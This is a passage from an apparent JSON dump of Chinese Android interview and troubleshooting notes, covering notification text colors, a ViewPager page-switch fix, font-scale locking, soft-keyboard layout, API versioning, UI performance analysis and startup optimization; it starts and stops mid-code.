{\n        if (max < textView.getTextSize()) {\n            // 找到字号最大的字体，默认把它设置为主标题字号大小\n            max = textView.getTextSize();\n            maxIndex = index;\n        }\n        index++;\n    }\n    return maxIndex;\n}\n/**\n * 实现遍历View树中的TextView，返回包含TextView的集合。\n *\n * @param root 根节点\n * @return 包含TextView的集合\n */\nprivate static List<TextView> getAllTextViews(View root) {\n    final List<TextView> textViews = new ArrayList<>();\n    iteratorView(root, new Filter() {\n        @Override\n        public void filter(View view) {\n            if (view instanceof TextView) {\n                textViews.add((TextView) view);\n            }\n        }\n    });\n    return textViews;\n}\n\nprivate interface Filter {\n    void filter(View view);\n}\n```\n\n#### **RemoteViews适配方案**\n\n获取系统通知标题颜色，如果能够获取到，那么标题、内容和时间的颜色都设置为标题颜色。\n获取不到的情况下，遍历系统通知里的所有文字，取字号最大的那条文字的颜色作为标题、内容和时间的颜色。\n以上两个步骤的实现在getNotificationColor()方法里。如果还获取不到，那么标题和内容采用Android原生系统提供的，其中标题是@android:color/primary_text_dark，内容是@android:color/secondary_text_dark。\n有一点需要说明的是，以上适配只适合在Android 7.0以下系统。Android 7.0+修改了Notification，采用@android:color/primary_text_dark和@android:color/secondary_text_dark已经获取不到颜色值了，考虑到7.0所采用的通知栏主色调是白色，因此目前暂时的解决方案是遇到7.0的系统采用黑色字体。面对众多厂商的源码修改，目前测试有ZUK的7.0系统为暗色背景，暂时的解决方案是根据机型适配。\n\n参考链接：[http://iluhcm.com/2017/03/12/experience-of-adapting-to-android-notifications/](http://iluhcm.com/2017/03/12/experience-of-adapting-to-android-notifications/)"
  },
  {
    "path": "docs/android/Android-Interview/开发遇到的问题/终极解决ViewPager.setCurrentItem中间页面过多解决方案.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频\n\n- [ViewPager.setCurrentItem的bug演示一](https://v.qq.com/x/page/n0501ylwqx1.html)\n- [ViewPager.setCurrentItem解决方案二](https://v.qq.com/x/page/g05012qi6hs.html)\n\n今天做项目用ViewPager.setCurrentItem 方法，如果两个页面相聚比较远，就会闪瞎我的钛合金双眼，中间切换大概20个页面，如下所示：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-bab7127dbfb0d444?imageMogr2/auto-orient/strip)\n\nsetCurrentItem第二个参数设置false，四不四很简单，直接使用如下代码：\n\n```\nViewPager.setCurrentItem(position,false);\n```\n\n很不幸的是，使用上面的代码会出现如下效果，扎心了老铁：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-5dc7bf8e931596ce?imageMogr2/auto-orient/strip)\n\n从第一题点击切换到第十八题，你会发现页面显示空白，如果从第十个页面切换到第十五个页面没事，平时大家估计没有发现这个bug，一般我们使用ViewPager都是底下5个tab页面，从第一个切换到第五个没事，之前我也以为把第二个参数设置false就行，今天才发现，原来如果当页面比较少的时候，大概十个以内，一般没有问题，如果超过十个页面切换就会出现空白，加载不了数据，扎心了，提出解决方案吧，ViewPager滑动使用的是Scroll，咱们把Scroll的滑动时间duration 设置为0就行。\n\n### **自定义一个Scroll类，用于控制ViewPager滑动速度：**\n\n```java\npublic  class MScroller extends Scroller {\n\n   private static final Interpolator sInterpolator = new Interpolator() {\n   public float getInterpolation(float t) {\n            t -= 1.0f;\n            return t * t * t * t * t + 1.0f;\n        }\n    };\n\n\n  public boolean noDuration;\n\n  public void setNoDuration(boolean noDuration) {\n        this.noDuration = noDuration;\n    }\n\n  public MScroller(Context context) {\n        this(context,sInterpolator);\n  }\n\n  public MScroller(Context context, Interpolator interpolator) {\n        super(context, interpolator);\n  }\n\n    @Override\n  public void startScroll(int startX, int startY, int dx, int dy, int duration) {\n        if(noDuration)\n            //界面滑动不需要时间间隔\n            super.startScroll(startX, startY, dx, dy, 0);\n        else\n            super.startScroll(startX, startY, dx, dy,duration);\n    }\n}\n```\n\n#### **上面代码可知：**\n\n1）动态判断页面是否需要滑动，如果不需要滑动，设置滑动时间为0；\n\n### **为方便使用，定义一个辅助类**\n\n```java\npublic class ViewPageHelper {\n    ViewPager viewPager;\n\n    MScroller scroller;\n\n    public ViewPageHelper(ViewPager viewPager) {\n        this.viewPager = viewPager;\n        init();\n    }\n\n    public void setCurrentItem(int item){\n        setCurrentItem(item,true);\n    }\n\n    public MScroller getScroller() {\n        return scroller;\n    }\n\n\n    public void setCurrentItem(int item, boolean somoth){\n        int current=viewPager.getCurrentItem();\n        //如果页面相隔大于1,就设置页面切换的动画的时间为0\n        if(Math.abs(current-item)>1){\n            scroller.setNoDuration(true);\n            viewPager.setCurrentItem(item,somoth);\n            scroller.setNoDuration(false);\n        }else{\n            scroller.setNoDuration(false);\n            viewPager.setCurrentItem(item,somoth);\n        }\n    }\n\n    private void init(){\n        scroller=new MScroller(viewPager.getContext());\n        Class<ViewPager>cl=ViewPager.class;\n        try {\n            Field field=cl.getDeclaredField(\"mScroller\");\n            field.setAccessible(true);\n            //利用反射设置mScroller域为自己定义的MScroller\n            field.set(viewPager,scroller);\n        } catch (NoSuchFieldException e) {\n            e.printStackTrace();\n        }catch (IllegalAccessException e){\n            e.printStackTrace();\n        }\n    }\n\n}\n```\n\n#### **由上面代码可知：**\n\n1）Math.abs(current-item)>1 ，通过数学函数判断页面相隔大于1,就设置页面切换的动画的时间为0。\n\n2）这样每次设置页面的时候，通过 helper 就可以自动选择是否有时间间隔了。\n\n3）但是这样有点麻烦，每次还要手动改，而且使用TabLayout或者ViewPagerIndicator的话，它会自动调用ViewPager的方法，无法使用Helper，所以可以采用自定一个ViewPager,代码如下：\n\n```java\npublic class SuperViewPager extends ViewPager {\n\n\n    private ViewPageHelper helper;\n\n    public SuperViewPager(Context context) {\n        this(context,null);\n    }\n\n    public SuperViewPager(Context context, AttributeSet attrs) {\n        super(context, attrs);\n        helper=new ViewPageHelper(this);\n\n   }\n\n    @Override\n    public void setCurrentItem(int item) {\n        setCurrentItem(item,true);\n    }\n\n    @Override\n    public void setCurrentItem(int item, boolean smoothScroll) {\n        MScroller scroller=helper.getScroller();\n        if(Math.abs(getCurrentItem()-item)>1){\n            scroller.setNoDuration(true);\n            super.setCurrentItem(item, smoothScroll);\n            scroller.setNoDuration(false);\n        }else{\n            scroller.setNoDuration(false);\n            super.setCurrentItem(item, smoothScroll);\n        }\n    }\n}\n```\n\n至此完美解决了，ViewPager.setCurrentItem切换页面，效果如下：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-b2f5486c91c65eae?imageMogr2/auto-orient/strip)\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n- 微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/开发遇到的问题/解决字体适配.md",
    "content": "## [Android面试题-解决字体适配](http://www.jianshu.com/p/33d499170e25)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-e301f4b8dd0e65c0?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-90e9a7ed7ea4a2d3?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n做个简单的例子，先验证一下：\n\n同样的布局代码\n\n```xml\n<TextView   \n android:layout_width=\"wrap_content\"    \n android:layout_height=\"wrap_content\"   \n android:textSize=\"18sp\"    \n android:text=\"Hello World! in SP\" />\n\n<TextView  \n android:layout_width=\"wrap_content\"    \n android:layout_height=\"wrap_content\" \n android:textSize=\"18dp\"    \n android:text=\"Hello World! in DP\" />\n```\n\n调节设置中显示字体大小\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-9c7b06ffd4edeaf2?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n运行后显示样式\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-ce4446f4d89bf902?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n回到标题要解决的问题，如果要像微信一样，所有字体都不允许随系统调节而发生大小变化，要怎么办呢？利用Android的Configuration类中的fontScale属性，其默认值为1，会随系统调节字体大小而发生变化，如果我们强制让其等于默认值，就可以实现字体不随调节改变，在工程的Application或BaseActivity中添加下面的代码：\n\n```java\n@Override\npublic void onConfigurationChanged(Configuration newConfig) {\n    if (newConfig.fontScale != 1)//非默认值\n        getResources();    \n    super.onConfigurationChanged(newConfig);\n}\n\n@Override\npublic Resources getResources() {\n     Resources res = super.getResources();\n     if (res.getConfiguration().fontScale != 1) {//非默认值\n        Configuration newConfig = new Configuration();       \n        newConfig.setToDefaults();//设置默认        \n        res.updateConfiguration(newConfig, res.getDisplayMetrics()); \n     }    \n     return res;\n}\n```\n\n总结，两种方案解决这个问题：\n一是布局宽高固定的情况下，字体单位改用dp表示；\n二是通过3中的代码设置应用不能随系统调节，在检测到fontScale属性不为默认值1的情况下，强行进行改变。"
  },
  {
    "path": "docs/android/Android-Interview/开发遇到的问题/软键盘顶出去解决方案.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n- [深刻剖析activity启动模式(一)](http://www.jianshu.com/p/b33fd8c550bf)\n- [深刻剖析activity启动模式(二)](http://www.jianshu.com/p/e1ea9e542112)\n- [深刻剖析activity启动模式(三)](http://www.jianshu.com/p/d13e3d552d4b)\n- [service里面startActivity抛异常？activity不会](http://www.jianshu.com/p/16e880ceb3a4)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n- [字体适配](http://www.jianshu.com/p/33d499170e25)\n- [软键盘顶出去解决方案](http://www.jianshu.com/p/640bac6f58ab)与人事相关面试题\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n错误的打开方式\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-d3bae424787347e2.gif?imageMogr2/auto-orient/strip)\n\n错误的打开姿势.gif\n\n仔细观察会发现，当软键盘弹出时 **background、recyclerview、toolbar** 被**软键盘**顶上去了！这样的交互简直不能忍，对用户来说也非常突兀。\n正确的打开方式\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-f64f01282733e751.gif?imageMogr2/auto-orient/strip)\n\n正确的打开姿势.gif\n\n软键盘弹出只是遮盖了 **background** 一部分，**background** 没有被**压缩**。\n\n实现\n\n1. AndroidMainifest.xml 配置文件\n\n   ```xml\n   <activity\n      android:name=\".MainActivity\"\n      android:windowSoftInputMode=\"adjustResize\">\n   ```\n\n   非透明状态栏下使用adjustResize和adjustPan，或是透明状态栏下使用`fitsSystemWindows=true`属性\n\n   主要实现方法： 在AndroidManifest.xml对应的Activity里添加`windowSoftInputMode=”adjustPan”`或是`android:windowSoftInputMode=”adjustResize”`属性\n\n推荐一篇软键盘很好的文章：[http://blog.csdn.net/smileiam/article/details/69055963](http://blog.csdn.net/smileiam/article/details/69055963)\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n- 微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/开发遇到的问题/迭代开发的时候如何向前兼容新旧接口？.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频。。\n\n- [配套视频](https://v.qq.com/x/page/a0395pv28zm.html)\n\n### 迭代开发的时候如何向前兼容新旧接口？\n\n设计服务器接口时,每一个接口，都带版本号。比如用户登陆接口第 1 版为\n\n```\n/1/user/login\n```\n\n返回 Json 数据。数据结构改动后，假如 Json 数据只是增加字段，这时接口不用修改。当登陆接口改动太大，会删除或者修改字段。就递增版本号，新添接口：\n\n```\n/2/user/login\n```\n\n旧的 /1/user/login 接口需要保留,这时旧的客户端使用 /1/user/login，而新的客户端使用 /2/user/login。\n\n在服务端 /1/user/login 和 /2/user/login 进行重构，某些地方调用相同的代码。两个接口并存一段时间后，比如过了 3 个月。估计旧的客户端差不多都升级到新的了，这时旧的 /1/user/login 接口就可以不再维护，直接返回错误码。\n\n比如开源中国开发也是如此，开源中国API接口如下：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-4fa3bfc810e0305c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-7043d98ff097e97f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/性能优化/Android应用UI性能分析.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频。\n\n- [HierarchyViewer配套视频](https://v.qq.com/x/page/y0393sa0jlp.html)\n- [Lint配套视频](https://v.qq.com/x/page/d039381wbas.html)\n- [内存抖动现象配套视频](https://v.qq.com/x/page/x0393gf7qp6.html)12-如何对android应用进行内存性能分析\n\n### Android应用UI性能分析\n\n在使用App时会发现有些界面启动卡顿、动画不流畅、列表等滑动时也会卡顿出现这种情况，可以考虑对UI性能分析。\n\n> 首先要清楚卡顿的原因，有以下几种情况：\n\n- 人为在UI线程中做轻微耗时操作，导致UI线程卡顿\n\n- 布局Layout过于复杂，无法在16ms内完成渲染\n\n- 同一时间动画执行的次数过多，导致CPU或GPU负载过重\n\n- View过度绘制，导致某些像素在同一帧时间内被绘制多次，从而使CPU或GPU负载过重\n\n- View频繁的触发measure、layout，导致measure、layout累计耗时过多及整个View频繁的重新渲染\n\n- 内存频繁触发GC过多（同一帧中频繁创建内存），导致暂时阻塞渲染操作\n\n- 冗余资源及逻辑等导致加载和执行缓慢\n\n- 臭名昭著的ANR\n\n### 如何分析？\n\n> 分析UI卡顿我们一般都借助工具，通过工具一般都可以直观的分析出问题原因，从而反推寻求优化方案，具体如下细说各种强大的工具\n\n### 使用HierarchyViewer分析UI性能\n\n我们可以通过SDK提供的工具HierarchyViewer来进行UI布局复杂程度及冗余等分析\n通过命令启动HierarchyViewer\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-913938b7dd911784.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n接下来Hierarchy window窗口打开：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-750650883b206a5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n一个Activity的View树，通过这个树可以分析出View嵌套的冗余层级，以及每个View在绘制的使用时长也有表示。\n\n### 使用Lint进行资源及冗余UI布局等优化\n\n冗余资源及逻辑等也可能会导致加载和执行缓慢，这可以使用Link工具，来发现优化这些问题的\n\n在Android Studio 1.4版本中使用Lint最简单的办法：\n就是将鼠标放在代码区点击右键->Analyze->Inspect Code–>界面选择你要检测的模块->点击确认开始检测，等待一下后会发现如下结果：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-84f3df4cfd1d4c07.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n如果存在冗余的UI层级嵌套，会进行高亮显示， 我们根据提示可以点击跳进去进行优化处理掉的。\n\n### 使用Memory监测及GC打印与Allocation Tracker进行UI卡顿分析\n\n由于Android系统会依据内存中不同的内存数据类型分别执行不同的GC操作，常见应用开发中导致GC频繁执行的原因主要可能是因为短时间内有大量频繁的对象创建与释放操作，也就是俗称的内存抖动现象，或者短时间内已经存在大量内存暂用介于阈值边缘，接着每当有新对象创建时都会导致超越阈值触发GC操作\n\n### 如何查看？\n\n#### Android Studio 工具提供内存查看器：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-26fcbce199c511c8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n#### 根据内存抖动现象，查看log日志进行分析：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-64af051f5b7d76da.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n> 如何看到，这种不停的大面积打印GC导致所有线程暂停的操作必定会导致UI视觉的卡顿，所以我们要避免此类问题的出现，具体的常见优化方式如下：\n\n- 检查代码，尽量避免有些频繁触发的逻辑方法中存在大量对象分配\n- 尽量避免在多次for循环中频繁分配对象\n- 避免在自定义View的onDraw()方法中执行复杂的操作及创建对象（譬如Paint的实例化操作不要写在onDraw()方法中等）\n- 对于并发下载等类似逻辑的实现尽量避免多次创建线程对象，而是交给线程池处理。\n\n有了上面说明GC导致的性能后我们就该定位分析问题了，\n我们可以通过运行DDMS->Allocation Tracker标签打开一个新窗口，然后点击Start Tracing按钮，接着运行你想分析的代码，运行完毕后点击Get Allocations按钮就能够看见一个已分配对象的列表，如下：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8e16375acbfadf55.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n根据内存分配情况，进行优化。\n\n写篇文章和录制视频从选题，思考，组织，写作，编辑至少需要一个多小时，而您点赞和转发只需要0.1秒，就可以带给我更大的动力，何乐而不为呢？\n\n- 欢迎关注微信公众号,长期推荐技术文章和技术视频\n\n微信公众号名称：Android干货程序员\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-8f737b5104dd0b5d.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)"
  },
  {
    "path": "docs/android/Android-Interview/性能优化/App应用启动分析与优化.md",
    "content": "### 源码分析相关面试题\n\n- [Volley源码分析](http://www.jianshu.com/p/ec3dc92df581)\n- [注解框架实现原理](http://www.jianshu.com/p/20da6d6389e1)\n- [okhttp3.0源码分析](http://www.jianshu.com/p/9ed2c2f2a52c)\n- [onSaveInstanceState源码分析](http://www.jianshu.com/p/cbf9c3557d64)\n- [静默安装和源码编译](http://www.jianshu.com/p/2211a5b3c37f)\n\n### Activity相关面试题\n\n- [保存Activity的状态](http://www.jianshu.com/p/cbf9c3557d64)\n\n### 与XMPP相关面试题\n\n- [XMPP协议优缺点](http://www.jianshu.com/p/2c04ac3c526a)\n- [极光消息推送原理](http://www.jianshu.com/p/d88dc66908cf)\n\n### 与性能优化相关面试题\n\n- [内存泄漏和内存溢出区别](http://www.jianshu.com/p/5dd645b05c76)\n- [UI优化和线程池实现原理](http://www.jianshu.com/p/c22398f8587f)\n- [代码优化](http://www.jianshu.com/p/ebd41eab90df)\n- [内存性能分析](http://www.jianshu.com/p/2665c31b9c2f)\n- [内存泄漏检测](http://www.jianshu.com/p/1514c7804a06)\n- [App启动优化](http://www.jianshu.com/p/f0f73fefdd43)\n- [与IPC机制相关面试题](http://www.jianshu.com/p/de4793a4c2d0)\n\n### 与登录相关面试题\n\n- [oauth认证协议原理](http://www.jianshu.com/p/2a6ecbf8d49d)\n- [token产生的意义](http://www.jianshu.com/p/9b7ce2d6c195)\n- [微信扫一扫实现原理](http://www.jianshu.com/p/a9d1f21bd5e0)\n\n### 与开发相关面试题\n\n- [迭代开发的时候如何向前兼容新旧接口](http://www.jianshu.com/p/cbecadec98de)\n- [手把手教你如何解决as jar包冲突](http://www.jianshu.com/p/30fdc391289c)\n- [context的原理分析](http://www.jianshu.com/p/2706c13a1769)\n- [解决ViewPager.setCurrentItem中间很多页面切换方案](http://www.jianshu.com/p/38ab6d856b56)\n\n### 与人事相关面试题\n\n- [人事面试宝典](http://www.jianshu.com/p/d61b553ff8c9)\n\n### 本文配套视频\n\n- [配套视频](https://v.qq.com/x/page/v0396aro8d1.html)\n\n## Android性能优化之App应用启动分析与优化\n\n### App启动方式\n\n通常来说, 一个App启动也会分如下二中不同的状态:\n\n.1）冷启动\n\n当启动应用时，后台没有该应用的进程，这时系统会重新创建一个新的进程分配给该应用，这个启动方式就是冷启动。冷启动因为系统会重新创建一个新的进程分配给它，所以会先创建和初始化Application类，再创建和初始化MainActivity类（包括一系列的测量、布局、绘制），最后显示在界面上。\n\n2.）热启动\n\n当启动应用时，后台已有该应用的进程（例：按back键、home键，应用虽然会退出，但是该应用的进程是依然会保留在后台，可进入任务列表查看），所以在已有进程的情况下，这种启动会从已有的进程中来启动应用，这个方式叫热启动。热启动因为会从已有的进程中来启动，所以热启动就不会走Application这步了，而是直接走MainActivity（包括一系列的测量、布局、绘制），所以热启动的过程只需要创建和初始化一个MainActivity就行了，而不必创建和初始化Application，因为一个应用从新进程的创建到进程的销毁，Application只会初始化一次。\n\n### 启动时间的测量\n\n关于Activity启动时间的定义\n\n对于Activity来说，启动时，首先执行的是onCreate()、onStart()、onResume()这些生命周期函数，但即使这些生命周期方法回调结束了，应用也不算已经完全启动，还需要等View树全部构建完毕，一般认为，setContentView中的View全部显示结束了，算作是应用完全启动了。\n\nDisplay Time\n\n从API19之后，Android在系统Log中增加了Display的Log信息，通过过滤ActivityManager以及Display这两个关键字，可以找到系统中的这个Log：\n\n```\n$ adb logcat | grep “ActivityManager”\nActivityManager: Displayed com.example.launcher/.LauncherActivity: +999ms\n```\n\n抓到的Log如图所示：\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-6c3368ada0ceb402.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n那么这个时间，实际上是Activity启动，到Layout全部显示的过程，但是要注意，这里并不包括数据的加载，因为很多App在加载时会使用懒加载模式，即数据拉取后，再刷新默认的UI。\n\n### 基于上面的启动流程我们尽量做到如下几点\n\n1) Application的创建过程中尽量少的进行耗时操作\n\n2) 首屏Activity的渲染\n\n当前冷启动效果:\n\n![img](http://upload-images.jianshu.io/upload_images/4037105-d242b508fd0fd4a9.gif?imageMogr2/auto-orient/strip)\n\n#### Application\n\nApplication是程序的主入口，特别是很多第三方SDK都会需要在Application的onCreate里面做很多初始化操作，一般来说我们可以将这些初始化放在一个单独的线程中处理, 为了方便今后管理,\n\n优化的方法，无非是通过以下几个方面：\n\n1）异步初始化\n2）后台任务\n3）界面预加载\n\n异步初始化\n\n这个很简单，就是让App在onCreate里面尽可能的少做事情，而利用手机的多核特性，尽可能的利用多线程，例如一些第三方框架的初始化，如果能放线程，就尽量的放入线程中，最简单的，你可以直接new Thread()，当然，你也可以通过公共的线程池来进行异步的初始化工作，这个是最能够压缩启动时间的方式\n\n后台任务\n\n因为这个App一般会集成很多三方SDK等服务, 所以Application的onCreate有很多第三方平台的初始化工作…\n\nApplication代码如下：\n\n```\npublic class MyApp extends Application {\n    @Override\n    public void onCreate() {\n        super.onCreate();\n        